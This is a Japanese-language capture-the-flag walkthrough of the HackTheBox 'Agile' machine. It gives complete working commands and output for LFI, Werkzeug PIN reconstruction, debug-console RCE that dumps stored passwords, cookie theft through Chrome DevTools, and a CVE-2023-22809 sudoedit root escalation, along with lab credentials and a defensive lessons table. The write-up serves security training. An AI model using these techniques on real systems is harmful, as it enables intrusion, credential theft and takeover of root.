HackTheBox: Agile — 全実行コマンド・実行結果レポート
Nmap スキャン
22/80、superpass.htbリダイレクト
→
22/80、superpass.htbリダイレクト
Export機能LFI
/download?fn=../
→
/download?fn=../
Werkzeug PIN再現
MAC+machine-id+cgroup
→
MAC+machine-id+cgroup
デバッグコンソールRCE
www-data
→
www-data
MySQL平文パスワード窃取
corum SSH
→
corum SSH
user.txt ✓
→
Chrome DevTools
Cookie窃取
→
Cookie窃取
test vault
edwards SSH
→
edwards SSH
CVE-2023-22809
sudoedit
→
sudoedit
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャンとターゲット確認
BASH
nmap -Pn -p22,80,443 -sCV 10.129.228.212
RESULT
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1
80/tcp open http nginx 1.18.0 (Ubuntu)
http-title: SuperPassword 🦸
BASH
echo "10.129.228.212 superpass.htb test.superpass.htb" | sudo tee -a /etc/hosts
ℹ️
Flask製のパスワードマネージャ「SuperPassword」。会員登録→ログイン→パスワード保存→
エクスポート、という一連の機能を持つ。エラー画面でスタックトレースが表示され
Flaskがdebugモードで動いていることが分かる。
PHASE 2
Export機能のパストラバーサルLFI & Werkzeug PIN算出
Exportのfnパラメータでファイル読取
NOTE
会員登録→ログイン後、vaultにパスワードを1件追加してExportすると
/download?fn=<username>_export_<10文字hex>.csv へリダイレクトされる。
サーバ側は fn を単純に /tmp/ に結合するだけでパストラバーサル対策が無い:
full_name = os.path.join('/tmp/', fn) # 対策前バージョン
"../" を先頭に付けると /tmp/../etc/passwd = /etc/passwd を読める。
BASH
curl -s -b cookies.txt "http://superpass.htb/download?fn=../etc/passwd" curl -s -b cookies.txt "http://superpass.htb/download?fn=../sys/class/net/eth0/address" curl -s -b cookies.txt "http://superpass.htb/download?fn=../etc/machine-id" curl -s -b cookies.txt "http://superpass.htb/download?fn=../proc/self/cgroup"
RESULT
root:x:0:0:root:/root:/bin/bash ... corum:x:1000:1000:corum:/home/corum:/bin/bash edwards:x:1002:1002:,,,:/home/edwards:/bin/bash dev_admin:x:1003:1003:,,,:/home/dev_admin:/bin/bash
✅
LFI成功。 シェル持ちの非標準ユーザー
corum・edwards・
dev_admin を確認。
Werkzeugデバッグコンソール PIN の再現
NOTE
Flaskがdebugモードで動くと、500エラー時にWerkzeugのデバッグコンソールが 表示される。このコンソールはPIN(9桁)で保護されているが、PINは以下の 「秘密情報っぽくない情報」+「秘密情報っぽい情報」からSHA1で決定論的に 生成される (Werkzeug公式実装 get_pin_and_cookie_name()): probably_public_bits = [username, "flask.app", "wsgi_app",] private_bits = [MACアドレスを10進数化した文字列, machine-id + cgroup末尾] LFIで /proc/self/cmdline から実行コマンドラインを読み venv のパスを特定、 /sys/class/net/eth0/address・/etc/machine-id・/proc/self/cgroup を読んで 必要な値をすべて揃えた。
PYTHON (generate_pin.py の要旨)
import hashlib
from itertools import chain
probably_public_bits = ['www-data', 'flask.app', 'wsgi_app',
'/app/venv/lib/python3.10/site-packages/flask/app.py']
node = int(mac_address.replace(':', ''), 16)
private_bits = [str(node), machine_id + cgroup_tail]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
h.update(bit.encode())
h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]
pin = "-".join(num[i:i+3] for i in range(0, 9, 3)) # 3桁区切り
print(pin)
RESULT
PIN: 135-148-084 (例)
PHASE 3
デバッグコンソールRCE → MySQL平文パスワード窃取 → user.txt
スタックトレースの誘発とPIN認証
BASH
# 不正な形式のPOSTデータ (配列指定) で500エラーを誘発、secretトークンを取得
curl -s -b cookies.txt -X POST http://superpass.htb/account/login \
--data-urlencode "username[]=a" --data-urlencode "password[]=b"
# レスポンス中の "secret": "<hex>" を抽出
# PIN認証
curl -s -b cookies.txt \
"http://superpass.htb/?__debugger__=yes&cmd=pinauth&pin=135-148-084&s=<secret>"
# → {"auth": true, ...}
BASH (Pythonコード実行, frame=0はグローバル名前空間)
curl -s -b cookies.txt \ "http://superpass.htb/?__debugger__=yes&cmd=$(python3 -c " import urllib.parse code = '''import subprocess;print(subprocess.run( [\\"mysql\\",\\"-usuperpassuser\\",\\"-p<prod_db_pass>\\",\\"-h\\",\\"127.0.0.1\\", \\"-D\\",\\"superpass\\",\\"-N\\",\\"-e\\",\\"select username,password from passwords\\"], capture_output=True,text=True).stdout)''' print(urllib.parse.quote(code)) ")&frame=0&s=<secret>"
RESULT
0xdf 762b430d32eea2f12970
corum 47ed1e73c955de230a1d
corum 9799588839ed0f98c211
corum 5db7caa1d13cc37c9fc2 ← site="agile" の行
✅
RCE成功、DB平文パスワード窃取。 passwordsテーブルは全て平文保存されており、
サイト名 “agile” の行が corum のシステムログインパスワードそのものだった。
SSH & user.txt取得
BASH
ssh corum@10.129.228.212 # password: 5db7caa1d13cc37c9fc2 corum@agile:~$ cat user.txt
RESULT
ead4e9f2baad3dcd347e456786ffa373
user.txt — corum
ead4e9f2baad3dcd347e456786ffa373
PHASE 4
Chrome DevTools Protocol による Cookie窃取 → edwards
ヘッドレスChromeの発見
BASH
corum@agile:~$ sudo -l Sorry, user corum may not run sudo on agile. corum@agile:~$ ps auxww | grep chrome
RESULT
runner ... chromedriver --port=43601
runner ... /usr/bin/google-chrome ... --remote-debugging-port=41829 ...
--enable-automation --headless --test-type=webdriver ...
🚨
重要発見: pytestの自動テストスイート用に、リモートデバッグポートを
開けたままのヘッドレスChromeが常駐している。このポートに到達できれば
Chrome DevTools Protocol (CDP) 経由でブラウザの内部状態(Cookie含む)を
直接読み取れる — ファイルシステムへのアクセス権限は一切不要。
SSHトンネル & CDP Cookie窃取
BASH
ssh -L 9222:localhost:41829 -L 5555:127.0.0.1:5555 corum@10.129.228.212 curl -s http://localhost:9222/json # → webSocketDebuggerUrl を取得
PYTHON (CDP経由でCookie取得)
import websocket, json
ws = websocket.create_connection("ws://localhost:9222/devtools/page/<id>")
ws.send(json.dumps({"id": 1, "method": "Network.getAllCookies"}))
print(ws.recv())
ws.close()
RESULT
{"id":1,"result":{"cookies":[
{"name":"remember_token","domain":"test.superpass.htb",
"value":"1|c5ce4e75f40092753fb28ce26511329491f0bea9cb9be23b8cb9ba76e2f627f..."},
{"name":"session","domain":"test.superpass.htb",
"value":".eJwlzjkOwjAQAMC_uKbYy2snn0HeS9AmpEL8HSTmBfNu9zryfLT9dVx5a_dntL1x6FxEI2cX1l..."}
]}}
✅
Cookie窃取成功。 テスト実行中のブラウザが認証済み状態で保持していた
Cookieをそのまま奪取できた。
盗んだCookieでテスト環境vaultへアクセス
BASH
# Netscape Cookie形式で保存 curl -s -b stolen_cookies.txt http://localhost:5555/vault
RESULT
<td>agile</td><td>edwards</td><td>d07867c6267dcb5df0af</td>
<td>twitter</td><td>dedwards__</td><td>7dbfe676b6b564ce5718</td>
BASH
ssh edwards@10.129.228.212 # password: d07867c6267dcb5df0af
✅
edwards SSH成功。 テスト環境(“test.superpass.htb”)は本番環境
(“superpass.htb”)と同じユーザーDBを参照しているため、盗んだセッションで
edwards自身のvaultを閲覧でき、そこに登録されていた自分のシステムパスワードを
入手できた。
ℹ️
実機での注意点: このヘッドレスChromeはpytest自動テストが使い回して
いるため、有効な認証済みCookieを保持しているのはテスト実行中の特定タイミングのみ。
また対象マシンのroot個人crontabには
*/2 * * * * mysql superpasstest < testdb.sql
でテストDBを2分おきにリセットする処理があり、これによって
remember_tokenの実効有効期間も長くて2分程度に制限されている。
1回で取得できない場合は、この周期を跨いで数回リトライするとよい。
PHASE 5
CVE-2023-22809 sudoedit 任意ファイル書込み → root.txt
sudo権限の確認
BASH
edwards@agile:~$ sudo -l
RESULT
User edwards may run the following commands on agile:
(dev_admin : dev_admin) sudoedit /app/config_test.json
(dev_admin : dev_admin) sudoedit /app/app-testing/tests/functional/creds.txt
BASH
edwards@agile:~$ sudo --version | head -1
RESULT
Sudo version 1.9.9 ← CVE-2023-22809修正版(1.9.12p2)より前
狙う書込み先: rootが毎分sourceするvenvスクリプト
BASH
edwards@agile:~$ ls -la /app/venv/bin/activate -rw-rw-r-- 1 root dev_admin 1976 ... /app/venv/bin/activate
🚨
/app/venv/bin/activate は root所有だが dev_adminグループに
書込み権限がある。sudoersで許可されているのは
/app/config_test.json だけだが、CVE-2023-22809で
「本来許可されていないファイル」をこの2つの許可ファイルと一緒にエディタへ
渡すことができれば、dev_adminのグループ書込み権限を使って実際に書き換えられる。
rootの個人crontab (crontab -l) は毎分
source /app/venv/bin/activate を実行しているため、
このファイルにコマンドを仕込めば root 権限でコード実行できる。
CVE-2023-22809 の実行 (EDITOR環境変数の悪用)
BASH
edwards@agile:~$ EDITOR='nano -- /app/venv/bin/activate' \
sudoedit -u dev_admin /app/config_test.json
NOTE
sudoeditは EDITOR 環境変数の値をスペース区切りでコマンドへ展開する際、 "--" 以降のトークンを追加の編集対象ファイルとして受理してしまう (sudoersの許可チェックをすり抜ける)。結果として nano が2つのバッファを multibuffer モードで開く: [1/2] /app/venv/bin/activate の一時コピー ← 本来許可されていないファイル [2/2] /app/config_test.json の一時コピー ← sudoersで許可された本来の対象 "--: Permission denied" という警告が最初に出るが、これは正常な挙動で exploit失敗を意味しない (sudoが "--" というトークン自体を1つのファイル名 候補として誤って検証しようとした際のエラーメッセージに過ぎない)。
BASH (nano内での操作)
# 1番目のバッファ (activate) の先頭にカーソルがある状態で直接タイプ mkdir -p /root/.ssh chmod 700 /root/.ssh cp /home/edwards/authorized_keys /root/.ssh/authorized_keys chmod 600 /root/.ssh/authorized_keys # 保存: Ctrl+O → Enter (ファイル名確認) # → "[ Wrote 73 lines ]" # 2番目のバッファへ移動して閉じる: Ctrl+X (1回目) # 残ったバッファも閉じてsudoedit自体を終了させる: Ctrl+X (2回目)
⚠️
ハマりどころ:
Ctrl+X を1回しか送らないと、
2番目のバッファ(未変更)を閉じただけで1番目のバッファ表示に戻ってしまい、
nano/sudoeditはまだ終了していない。この状態で後続のコマンドを送ると、
シェルではなくnanoのテキストバッファに文字として入力されてしまい、
実ファイルへの反映も一切起きない。必ず2回連続でCtrl+Xを送り、
両方のバッファを確実に閉じて sudoedit のプロセス自体を終了させること。
書込みの確認とroot cronの発火待ち
BASH
edwards@agile:~$ head -6 /app/venv/bin/activate
RESULT
mkdir -p /root/.ssh
chmod 700 /root/.ssh
cp /home/edwards/authorized_keys /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
# This file must be used with "source bin/activate" *from bash*
# you cannot run it directly
✅
実ファイルへの書込み成功! 事前に
/home/edwards/authorized_keys
へ自分の公開鍵を配置しておき、root個人crontabの毎分実行
(* * * * * source /app/venv/bin/activate) を1分ほど待つ。
BASH
ssh -i my_key root@10.129.228.212 "id; cat /root/root.txt"
RESULT
uid=0(root) gid=0(root) groups=0(root) 8aabae245d2eee311a3ca92dff71e7fe
root.txt — root
8aabae245d2eee311a3ca92dff71e7fe
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — corum
ead4e9f2baad3dcd347e456786ffa373
root.txt — root
8aabae245d2eee311a3ca92dff71e7fe
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| パストラバーサルLFI | /download?fn= (Flask, debugモード) | 任意ファイル読取 | High | fnパラメータが検証無しで/tmp/に結合されるため ../ で脱出 |
| Werkzeugデバッグコンソール RCE | Flask debugモード | リモートコード実行 (www-data) | Critical | LFIで収集したMAC/machine-id等からPIN生成アルゴリズムを再現し、 コンソール認証を突破 |
| 平文パスワード保存 | MySQL passwordsテーブル | 横展開用の資格情報漏洩 | Medium | 暗号化されていないパスワードをRCE経由でクエリし直接窃取 |
| ヘッドレスChrome Cookie窃取 | chromedriver + Chrome DevTools Protocol | 認証セッションの乗っ取り | High | リモートデバッグポートに到達しCDP経由でCookieを直接取得 |
| CVE-2023-22809 | sudo < 1.9.12p2 (本インスタンス1.9.9) | 権限昇格 (root) | Critical | EDITOR環境変数に -- <任意ファイル> を仕込み、
sudoedit許可対象外のファイルを書換え |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap + リダイレクト確認 | 22/80、superpass.htb確定 |
| 2 | LFI | Export機能のパストラバーサル | /etc/passwd、MAC/machine-id/cgroup |
| 3 | RCE | Werkzeug PIN再現→デバッグコンソール | MySQL平文パスワード → user.txt |
| 4 | 横展開 | Chrome DevTools Cookie窃取 | edwards SSH資格情報 |
| 5 | 権限昇格 | CVE-2023-22809 sudoedit | root.txt 取得 |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| Export機能のファイル名パラメータにパストラバーサル対策が無い | パス結合後に os.path.realpath() で正規化し、
許可ディレクトリ配下かを検証する。 |
| 本番環境でFlaskのdebugモードが有効なまま | 本番では debug=False を徹底する。デバッグコンソールの
PINは推測困難な乱数由来の秘密情報にのみ依存させるべきで、
ファイル読取で収集可能な情報から再現できる設計は危険。 |
| パスワードマネージャなのにDBへ平文でパスワードを保存している | 保存時に暗号化する。復号鍵はアプリケーションサーバーとは 別の管理下に置く。 |
| リモートデバッグポートを開けたヘッドレスブラウザが常駐している | CI/テスト用ブラウザのデバッグポートは 127.0.0.1 のみに
bindし、かつテスト専用の隔離ネットワーク/コンテナで実行する。
本番同等の資格情報をテスト環境で使い回さない。 |
| 古いバージョンのsudo (1.9.9) を使い続けている | sudoは頻繁にアップデートし、CVE-2023-22809 (1.9.12p2で修正) 等の 既知の脆弱性に対応する。sudoersで許可するsudoedit対象は 最小限にし、rootが定期的にsourceするファイルへの書込み権限を 非rootグループへ渡さない。 |

